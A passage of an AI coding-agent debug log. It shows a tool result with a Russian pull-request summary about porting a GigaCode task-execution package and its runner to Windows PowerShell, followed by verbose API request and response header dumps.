\u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 / \u041f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435\u00bb, \u043e\u0433\u043b\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u043d\u0430\u0432\u0438\u0433\u0430\u0446\u0438\u044f \u0432\u043d\u0438\u0437\u0443 \u0438 \u0433\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u0439 \u0441 \u044f\u043a\u043e\u0440\u044f\u043c\u0438 `#term-\u2026`.\\n\\n**\u0426\u0435\u043b\u0435\u0432\u0430\u044f \u0441\u0440\u0435\u0434\u0430 \u2014 \u0442\u043e\u043b\u044c\u043a\u043e Windows 10/11 (x64)**, \u043f\u043e [\u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044e \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/641). \u041a\u043e\u043c\u0430\u043d\u0434\u043d\u0430\u044f \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430 \u2014 Windows PowerShell 5.1 \u0438\u043b\u0438 PowerShell 7, Python 3.10+ \u0441 python.org, Git for Windows. \u0420\u0430\u0431\u043e\u0442\u0430 \u0438\u0434\u0451\u0442 \u0432 \u0434\u0432\u0443\u0445 \u043e\u043a\u043d\u0430\u0445 PowerShell: A \u2014 \u0434\u0438\u0430\u043b\u043e\u0433 \u0441 GigaCode, B \u2014 runner `python tools/run-task.py`.\\n- \u0412\u0441\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438, `README.md`, `AGENTS.md` \u0438 \u043d\u0430\u0432\u044b\u043a\u0430\u0445 \u043f\u0430\u043a\u0435\u0442\u0430 \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u043a\u0430\u043a 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\u0442\u0438\u043f\u0438\u0447\u043d\u044b\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 Windows: \u0437\u0430\u0433\u043b\u0443\u0448\u043a\u0430 Microsoft Store, ExecutionPolicy \u0434\u043b\u044f `gigacode`, \u00ab\u043d\u0435 \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u043d\u043e \u043a\u0430\u043a \u0438\u043c\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u043b\u0435\u0442\u0430\u00bb.\\n- \u0412 `03-deploy-package.md` \u043f\u0430\u043a\u0435\u0442 \u0431\u0435\u0440\u0451\u0442\u0441\u044f \u043a\u043b\u043e\u043d\u043e\u043c \u0438\u043b\u0438 \u043a\u043e\u043f\u0438\u0435\u0439 `Copy-Item`, \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u0441\u0442\u0430\u0432\u044f\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 `python -m pip`. \u0422\u0430\u043c \u0436\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u044b KB \u0432 `kb-source\\\\`, `.gigacode\\\\settings.json` \u0447\u0435\u0440\u0435\u0437 `notepad` \u0438 `$env:CONFLUENCE_TOKEN`.\\n- \u0412 `05-commands-reference.md` \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u0435 Working \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u043e \u043a\u0430\u043a here-string `@'\u2026'@ | python -`, \u0447\u0442\u0435\u043d\u0438\u0435 trace \u2014 \u0447\u0435\u0440\u0435\u0437 `Get-Content -Encoding UTF8 -Tail 1`. \u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 \u2014 `git -C source-lab pull` \u043f\u043b\u044e\u0441 `Copy-Item -Recurse -Force`; \u044d\u0442\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u0438 \u0441\u043a\u0440\u044b\u0442\u0443\u044e \u043f\u0430\u043f\u043a\u0443 `.gigacode`.\\n\\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0430\u043a\u0435\u0442\u0430, \u0431\u0435\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 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Windows PowerShell 5.1 (`Set-Content -Encoding UTF8`) \u0438 \u0411\u043b\u043e\u043a\u043d\u043e\u0442 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u044e\u0442 BOM.\\n- `validate-package.py` \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 `.git/` \u043a\u043b\u043e\u043d\u0430 runtime-\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f.\\n- `run-task.py` \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 `G-mach` \u0441 `PYTHONIOENCODING=utf-8`. `validate-package.py`, `bcreq_pipeline.py` \u0438 `run-task.py` \u043f\u0440\u0438 \u0432\u044b\u0432\u043e\u0434\u0435 \u0432 \u043a\u0430\u043d\u0430\u043b \u0437\u0430\u043c\u0435\u043d\u044f\u044e\u0442 \u0441\u0438\u043c\u0432\u043e\u043b\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0435\u0442 \u0432 ANSI-\u043a\u043e\u0434\u043e\u0432\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435, \u043d\u0430 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\u0437\u0430\u0434\u0430\u0447\u0430 \u043e\u0442 TASK ID \u0434\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430: \u0441\u0442\u0430\u0440\u0442\u043e\u0432\u0430\u044f \u0444\u0440\u0430\u0437\u0430, \u0432\u0445\u043e\u0434\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0430 A-IN, \u0442\u0430\u0431\u043b\u0438\u0446\u0430 \u0443\u0437\u043b\u043e\u0432 (\u043d\u0430\u0432\u044b\u043a, \u0444\u0430\u0439\u043b, \u0444\u043e\u0440\u043c\u0430\u0442, `--to`, G-human), \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u0435 Working, \u0441\u0431\u043e\u0440\u043a\u0430 Release, \u0432\u044b\u0445\u043e\u0434; \u0440\u0435\u0436\u0438\u043c\u044b \u0438 \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b GigaCode, \u0442\u0438\u043f\u0438\u0447\u043d\u044b\u0435 \u043e\u0442\u043a\u0430\u0437\u044b runner (20 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 `BLOCKED`) |\\n| `README.md`, `AGENTS.md`, \u043d\u0430\u0432\u044b\u043a\u0438, `package-manifest.yaml` | \u041a\u043e\u043c\u0430\u043d\u0434\u044b PowerShell, \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u043a\u043b\u0430\u0441\u0442\u0435\u0440 \u0432\u043c\u0435\u0441\u0442\u043e `junior-guide.md`; `package_version: \\\"5.1\\\"`; \u0445\u044d\u0448\u0438 \u043f\u0435\u0440\u0435\u0441\u0447\u0438\u0442\u0430\u043d\u044b |\\n| `tools/*.py`, `.gitattributes` | \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f Windows (\u0441\u043c. \u0432\u044b\u0448\u0435) |\\n| `tests/execution-package/tests/test_guides.py`, `test_runner.py` | \u0418\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u0432 PowerShell; \u0442\u0435\u0441\u0442\u044b Windows-\u0443\u0441\u043b\u043e\u0432\u0438\u0439 runner |\\n| `.github/workflows/validate.yml` | \u041d\u043e\u0432\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430 `windows-guides` (`windows-latest`, \u043c\u0430\u0442\u0440\u0438\u0446\u0430 `powershell` / `pwsh`); \u0432 \u043f\u0440\u0435\u0436\u043d\u0435\u0439 \u0437\u0430\u0434\u0430\u0447\u0435 `validate` \u0437\u0430\u0434\u0430\u043d `GUIDE_SHELL: pwsh`, \u0447\u0442\u043e\u0431\u044b \u0442\u0435\u0441\u0442 \u043d\u0435 \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u043b\u0441\u044f |\\n| `ops/backlog.md` | \u0421\u043f\u0440\u0438\u043d\u0442 27, \u0437\u0430\u0434\u0430\u0447\u0438 B-219\u2026B-221 (TODO) \u0438 B-222 (DONE \u0434\u043b\u044f Windows 10/11); \u0432\u0435\u0440\u0441\u0438\u044f 1.68 \u0438 \u0435\u0451 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u0432 `validate-repository-structure.sh` |\\n\\n\u041d\u0430\u0439\u0434\u0435\u043d\u043e \u043f\u0440\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0435 \u0438 \u0443\u0447\u0442\u0435\u043d\u043e \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438:\\n- \u0435\u0441\u043b\u0438 \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c KB \u0438\u0437 runtime-\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u0432 `docs/kb/` \u0446\u0435\u043b\u0438\u043a\u043e\u043c, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0430\u043a\u0435\u0442\u0430 \u043f\u0430\u0434\u0430\u0435\u0442: \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u043d\u0435 \u0447\u0438\u0442\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a \u0442\u0435\u043a\u0441\u0442, \u0430 `index.md` \u0441\u0441\u044b\u043b\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 KB \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0440\u044f\u0434\u043e\u043c \u0441 \u043f\u0430\u043a\u0435\u0442\u043e\u043c, \u0430 \u0432 `docs/kb/` \u043a\u043b\u0430\u0434\u0443\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u0442\u0430\u0442\u044c\u0438;\\n- \u0447\u0435\u0440\u0435\u0437 `!` \u0432 GigaCode \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u0441 G-human \u043d\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 (`human gate requires an interactive terminal`), \u043f\u043e\u044d\u0442\u043e\u043c\u0443 runner \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0432 \u043e\u043a\u043d\u0435 B;\\n- \u043b\u044e\u0431\u043e\u0439 \u043e\u0442\u043a\u0430\u0437 runner \u043f\u0435\u0440\u0435\u0432\u043e\u0434\u0438\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 \u0432 `blocked`, \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u044c \u0435\u0451 \u043d\u0435\u043b\u044c\u0437\u044f \u2014 \u043e\u0442\u0441\u044e\u0434\u0430 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u00ab\u043e\u0434\u0438\u043d TASK ID \u2014 \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u0433\u043e\u043d\u00bb.\\n\\n## \u0420\u0430\u0437\u0440\u044b\u0432\u044b\\n| \u2116 | \u0420\u0430\u0437\u0440\u044b\u0432 | \u0420\u0435\u0448\u0435\u043d\u0438\u0435 |\\n|---|---|---|\\n| ~~\u041e-1~~ | ~~\u041a\u043e\u043c\u0430\u043d\u0434\u044b \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u044b \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 Linux~~ | **\u0421\u043d\u044f\u0442 \u0432 \u044d\u0442\u043e\u043c PR** (B-222 DONE): \u0446\u0435\u043b\u0435\u0432\u0430\u044f \u0441\u0440\u0435\u0434\u0430 \u2014 Windows 10/11, \u0432\u0441\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 PowerShell \u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u0432 CI \u043d\u0430 Windows PowerShell 5.1 \u0438 PowerShell 7. \u041d\u043e\u043c\u0435\u0440 \u043d\u0435 \u043f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f |\\n| \u041e-2 | GigaCode \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0442\u043e\u043b\u044c\u043a\u043e \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u0430\u043c \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 GitVerse \u0441 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u043c GigaCode | \u2014 (\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0435) |\\n| \u041e-3 | `rg-bcreq-v1-dispatcher` \u0432\u0435\u0434\u0451\u0442 \u0440\u0443\u0447\u043d\u043e\u0439 \u0436\u0443\u0440\u043d\u0430\u043b \u0438 \u043d\u0435 \u043c\u0435\u043d\u044f\u0435\u0442 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 runner | B-221 |\\n| \u041e-4 | \u0412 \u043f\u0430\u043a\u0435\u0442\u0435 \u043d\u0435\u0442 \u0443\u0447\u0435\u0431\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 A-IN \u0434\u043b\u044f `TASK-0001`; \u043e\u043d \u0434\u0430\u043d \u0442\u0435\u043a\u0441\u0442\u043e\u043c \u0432 `04` | B-220 |\\n| \u041e-5 | G-human \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0439 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b | \u2014 (\u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e runner, \u0442\u0430\u043a \u0437\u0430\u0434\u0443\u043c\u0430\u043d\u043e; \u0432 Windows \u044d\u0442\u043e \u043e\u0431\u044b\u0447\u043d\u043e\u0435 \u043e\u043a\u043d\u043e PowerShell) |\\n| \u041e-6 | \u041e\u0442\u043a\u0430\u0437 runner \u043d\u0435\u043e\u0431\u0440\u0430\u0442\u0438\u043c\u043e \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 | \u2014 (\u043f\u0440\u0430\u0432\u0438\u043b\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u00ab\u043e\u0434\u0438\u043d TASK ID \u2014 \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u0433\u043e\u043d\u00bb, \u043e\u0442 \u041e\u0421 \u043d\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u0442; \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u043e \u043d\u0430 Windows \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043e \u0442\u0435\u0441\u0442\u043e\u043c) |\\n| \u041e-7 | \u041f\u043e\u043b\u043d\u0430\u044f \u043a\u043e\u043f\u0438\u044f KB \u0432 `docs/kb/` \u043b\u043e\u043c\u0430\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u0430\u043a\u0435\u0442\u0430 | \u2014 (\u043e\u0431\u0445\u043e\u0434 \u0432 `03`) |\\n| \u041e-8 | \u041d\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u044f Working; \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 \u0431\u043b\u043e\u043a PowerShell \u0432 `05` | B-219 (\u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 B-199 \u0434\u043b\u044f Cline) |\\n| \u041e-9 | \u041d\u0435\u0442 \u043d\u0430\u0432\u044b\u043a\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u0435\u0434\u0451\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 \u043f\u043e \u0443\u0437\u043b\u0430\u043c; \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0434\u0435\u0440\u0436\u0438\u0442 \u0441\u0442\u0430\u0440\u0442\u043e\u0432\u0430\u044f \u0444\u0440\u0430\u0437\u0430 | B-221 |\\n| \u041e-10 | \u041d\u0430\u0432\u044b\u043a\u0438 \u0443\u0437\u043b\u043e\u0432 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442 Markdown, \u0430 runner \u043d\u0430 `n12`/`n13` \u0442\u0440\u0435\u0431\u0443\u0435\u0442 JSON Working/Release | B-220 |\\n\\nB-200 (hooks Cline \u043d\u0430 Windows, \u041e-3 Cline-\u043f\u0430\u043a\u0435\u0442\u0430) \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f\u043c Cline (#636). \u041f\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044e \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u043e\u043d\u0438 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0437\u0430\u0434\u0430\u0447\u0430\u043c\u0438, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432 \u044d\u0442\u043e\u043c PR B-200 \u043d\u0435 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f.\\n\\n\u041d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043e \u0438 \u043f\u043e\u043c\u0435\u0447\u0435\u043d\u043e \u0432 \u0442\u0435\u043a\u0441\u0442\u0435:\\n- \u0441\u0430\u043c GigaCode CLI \u0432 CI \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f: \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0438 \u0440\u0435\u0436\u0438\u043c\u044b \u0441\u0432\u0435\u0440\u0435\u043d\u044b \u0441 [\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0435\u0439 GitVerse](https://gitverse.ru/docs/ai/ai-assistant-gigacode/gigacode-cli/commands); `/context` \u0438 `/copy` \u0443\u0431\u0440\u0430\u043d\u044b, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c \u0438\u0445 \u043d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c;\\n- \u043c\u043e\u0436\u0435\u0442 \u043b\u0438 GigaCode \u0447\u0438\u0442\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0432\u043d\u0435 \u043f\u0430\u043f\u043a\u0438 \u043f\u0430\u043a\u0435\u0442\u0430 (\u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u043f\u0440\u043e\u0441\u0438\u0442 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u0432 `runs\\\\TASK-ID\\\\evidence\\\\sources\\\\`);\\n- \u043e\u0442\u0432\u0435\u0442 GigaCode \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441 \u043e\u0431 `AGENTS.md` \u0432 `03` \u2014 \u044d\u0442\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0443 \u0444\u0430\u0439\u043b\u0430, \u043d\u043e \u0442\u043e, \u0447\u0442\u043e GigaCode \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 `AGENTS.md` \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438, \u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e.\",\n[2026-09-29T08:02:33.256Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T08:02:33.256Z] [INFO]     \"interrupted\": false,\n[2026-09-29T08:02:33.256Z] [INFO]     \"isImage\": false,\n[2026-09-29T08:02:33.256Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T08:02:33.256Z] [INFO]   }\n[2026-09-29T08:02:33.256Z] [INFO] }\n[2026-09-29T08:02:33.353Z] [STDOUT] [log_135a26] sending request {\n[2026-09-29T08:02:33.359Z] [STDOUT]   method: \"POST\",\n[2026-09-29T08:02:33.369Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:02:33.372Z] [STDOUT]   options: {\n[2026-09-29T08:02:33.375Z] [STDOUT]     method: \"post\",\n[2026-09-29T08:02:33.378Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T08:02:33.380Z] [STDOUT]     body: {\n[2026-09-29T08:02:33.384Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T08:02:33.386Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T08:02:33.389Z] [STDOUT]       system: [Array ...],\n[2026-09-29T08:02:33.392Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T08:02:33.396Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T08:02:33.400Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T08:02:33.403Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T08:02:33.406Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T08:02:33.408Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T08:02:33.415Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T08:02:33.418Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T08:02:33.425Z] [STDOUT]       stream: true,\n[2026-09-29T08:02:33.431Z] [STDOUT]     },\n[2026-09-29T08:02:33.437Z] [STDOUT]     timeout: 600000,\n[2026-09-29T08:02:33.446Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T08:02:33.449Z] [STDOUT]       aborted: false,\n[2026-09-29T08:02:33.455Z] [STDOUT]       reason: undefined,\n[2026-09-29T08:02:33.461Z] [STDOUT]       onabort: null,\n[2026-09-29T08:02:33.468Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T08:02:33.473Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T08:02:33.477Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T08:02:33.482Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T08:02:33.485Z] [STDOUT]     },\n[2026-09-29T08:02:33.490Z] [STDOUT]     stream: true,\n[2026-09-29T08:02:33.492Z] [STDOUT]   },\n[2026-09-29T08:02:33.498Z] [STDOUT]   headers: {\n[2026-09-29T08:02:33.506Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T08:02:33.510Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T08:02:33.515Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T08:02:33.518Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T08:02:33.525Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T08:02:33.527Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T08:02:33.532Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T08:02:33.535Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T08:02:33.552Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T08:02:33.566Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=2382\",\n[2026-09-29T08:02:33.572Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T08:02:33.613Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T08:02:33.615Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:02:33.620Z] [STDOUT]     \"x-client-request-id\": \"3273d902-4c86-4d38-9a30-480940ceb0ae\",\n[2026-09-29T08:02:33.636Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T08:02:33.638Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T08:02:33.641Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T08:02:33.643Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T08:02:33.647Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T08:02:33.649Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T08:02:33.651Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T08:02:33.655Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T08:02:33.664Z] [STDOUT]   },\n[2026-09-29T08:02:33.666Z] [STDOUT] }\n[2026-09-29T08:02:34.243Z] [STDOUT] [log_135a26, request-id: \"req_011CfXP4aXkgh2uU7cGxAUu2\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 893ms\n[2026-09-29T08:02:34.250Z] [STDOUT] [log_135a26] response start {\n[2026-09-29T08:02:34.254Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:02:34.256Z] [STDOUT]   status: 200,\n[2026-09-29T08:02:34.259Z] [STDOUT]   headers: {\n[2026-09-29T08:02:34.264Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:02:34.268Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:02:34.273Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:02:34.277Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.46\",\n[2026-09-29T08:02:34.280Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:02:34.285Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:02:34.287Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:02:34.290Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:02:34.293Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:02:34.296Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:02:34.299Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:02:34.303Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:02:34.305Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:02:34.309Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:02:34.311Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:02:34.314Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T08:02:34.317Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:02:34.319Z] 